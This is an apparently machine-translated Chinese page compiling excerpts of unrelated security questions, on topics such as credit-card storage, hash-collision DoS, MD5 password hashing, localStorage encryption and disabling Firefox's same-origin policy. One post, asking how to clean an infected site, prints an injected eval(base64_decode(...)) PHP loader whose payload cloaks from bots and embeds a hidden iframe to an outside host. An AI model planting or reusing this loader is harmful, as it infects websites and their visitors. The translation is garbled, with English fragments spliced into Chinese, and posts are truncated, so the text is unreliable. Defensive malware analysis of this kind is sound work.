Tag: 安全

存储信用卡详细信息

我有一个业务需求,迫使我在短时间内存储客户的完整信用卡详细信息(号码,姓名,失效date,CVV2)。 理由:如果客户打电话订购产品,并且他们的信用卡在现场被拒绝,您可能会失去销售。 如果你把他们的细节,感谢他们的交易,然后发现卡被拒绝,你可以给他们打电话,他们更可能find另一种方式来支付产品。 如果信用卡被接受,则清除订单中的详细信息。 我无法改变这一点。 现有的系统以明文forms存储信用卡详细信息,并且在我正在build造的新系统中replace这个我显然不会复制这个! 那么我的问题就是如何在短时间内安全地存储信用卡。 我显然想要一些encryption,但最好的办法是什么? 环境:C#,WinForms,SQL-Server。

由于非随机哈希函数而导致的应用程序漏洞

以下摘录来自一篇文章 ,解释了由于散列数据结构中使用的非随机散列函数而导致拒绝服务(DoS)攻击的可能性。 可以通过利用底层散列algorithm中的可预测冲突来利用该条件。 为了validation它,我经历了从Oracle的Java HashMap的引用实现,确实发现了一个静态哈希函数: static int hash(int h) { h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); } 关于该主题的另一篇论文讲述: Tomcat 6.0.32服务器在大约44分钟的i7 CPU时间内parsing2MB的冲突密钥string,所以约6kbit / s的攻击者可以让一个i7内核持续忙碌。 如果攻击者有千兆连接,他可以保持大约100.000个i7内核忙碌 我们如何防范这个漏洞呢? 此外,有很多软件,我们使用开源(Tomcat等),依靠这种实现。

我怎样才能混淆我的C#代码,所以它不能很容易地去混淆?

我免费发布了一大堆工具,但是最近我开始销售一个具有私人研究的应用程序,人们已经能够获得我的源代码,并且有一个人公开发布了我的整个源代码。 我花了很多时间在这个程序上,只是为了让别人破解它,并释放我的整个源代码。 我怎样才能保护我的程序? 我已经尝试过HWID,但人们仍然能够破解它。 我知道我受C#的限制,但使用起来最方便。 我只是需要一种方法来保护我的程序免受试图做到这一点的人。

在C#中用密码保存DB的MD5哈希

你可以给我build议一些简单的algorithm,用MD5散列用户密码,但用盐来提高可靠性。 现在我有这个: private static string GenerateHash(string value) { var data = System.Text.Encoding.ASCII.GetBytes(value); data = System.Security.Cryptography.MD5.Create().ComputeHash(data); return Convert.ToBase64String(data); }

Symfony2扩展DefaultAuthenticationSuccessHandler

我想在authentication成功之后改变默认的authentication过程。 我做了一个服务,authentication成功后,redirect之前调用。 namespace Pkr\BlogUserBundle\Handler; use Doctrine\ORM\EntityManager; use Pkr\BlogUserBundle\Service\Encoder\WpTransitionalEncoder; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Log\LoggerInterface; use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface; use Symfony\Component\Security\Http\Authentication\Response; class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface { protected $entityManager = null; protected $logger = null; protected $encoder = null; public function __construct(EntityManager $entityManager, LoggerInterface $logger, WpTransitionalEncoder $encoder) { $this->entityManager = $entityManager; $this->logger = $logger; $this->encoder = $encoder; } /** […]

如何摆脱像PHP病毒文件的eval-base64_decode?

我的网站(非常大的社区网站)最近感染了病毒。 每个index.php文件都被改变了,所以这些文件的开头php标签被改成了下面这行: <?php eval(base64_decode('ZXJyb+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0=')); 当我解码这个,它产生了下面的PHP代码: <?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( […]

本地存储能否被认为是安全的?

我需要开发一个能长时间离线运行的Web应用程序。 为了实现这一点,我无法避免在本地存储中保存敏感数据(个人数据,而不是只存储散列的数据)。 我接受这不是build议的做法,但给了我很less的select,我正在做以下事项以确保数据: 使用斯坦福的JavaScriptencryption库和AES-256encryption本地存储的所有内容 用户密码是encryption密钥,不存储在设备上 通过ssl从单个受信任的服务器提供所有内容(当在线时) 使用owasp antisamy项目validation服务器上本地存储的所有数据 在appcache的networking部分中,不使用*,而是仅列出与受信任的服务器连接所需的URI 一般都试图应用OWASP XSS备忘单中提出的指导原则 我明白,魔鬼往往是在细节,并知道有很多关于本地存储和基于JavaScript的安全性的一般怀疑。 任何人都可以评论是否有: 上述方法的根本缺陷? 任何可能的解决scheme,这样的缺陷? 当html5应用程序必须长时间离线工作时,有什么更好的方法来保护本地存储? 感谢您的帮助。

禁用firefox同源策略

我正在开发一个本地研究工具,要求我closuresFirefox的同源策略(就脚本访问而言,我不太在乎跨域请求)。 更具体地说,我希望主机域中的脚本能够访问页面中embedded的任何iframe中的任意元素,而不pipe它们的域是什么。 我知道以前的问答提到了CORS FF扩展,但这不是我所需要的,因为它只允许CORS,而不是脚本访问。 如果不能轻易完成的话,我还要感谢任何见解,指向我可以修改以禁用SOP的FF src代码的特定部分,以便我可以重新编译FF。

如何在tomcat / java webapps中configurationHttpOnly cookie?

在阅读Jeff的博客文章“ 保护您的Cookie:HttpOnly”之后 。 我想在我的Web应用程序中实现HttpOnly cookie。 你如何告诉tomcat使用仅用于会话的http cookie?

最佳做法:腌制和胡椒粉密码?

我遇到了一个讨论,在这个讨论中,我了解到我所做的事情实际上并不是叮叮当当的密码,而是从此开始使用以下function: hash_function($salt.hash_function($pepper.$password)) [multiple iterations] 忽略select的散列algorithm(我希望这是一个盐和辣椒的讨论,而不是具体的algorithm,但我使用的是一个安全的),这是一个安全的select,还是应该做一些不同的? 对于那些不熟悉的条款: salt是随机生成的值,通常与数据库中的string一起存储,旨在使不可能使用散列表来破解密码。 由于每个密码都有自己的盐,所以他们都必须单独被强制性的破解。 然而,由于盐与密码散列存储在数据库中,数据库的妥协意味着两者都将丢失。 胡椒是一个站点范围的静态值,与数据库分开存储(通常在应用程序的源代码中硬编码),这是为了保密。 它的使用是为了妥协的数据库不会导致整个应用程序的密码表是暴躁的。 有什么我失踪,并腌制和胡椒我的密码保护我的用户的安全的最佳select? 这样做有没有潜在的安全缺陷? 注意:为了讨论的目的,假定应用程序和数据库存储在不同的机器上,不要共享密码等,因此违反数据库服务器并不意味着违反应用程序服务器。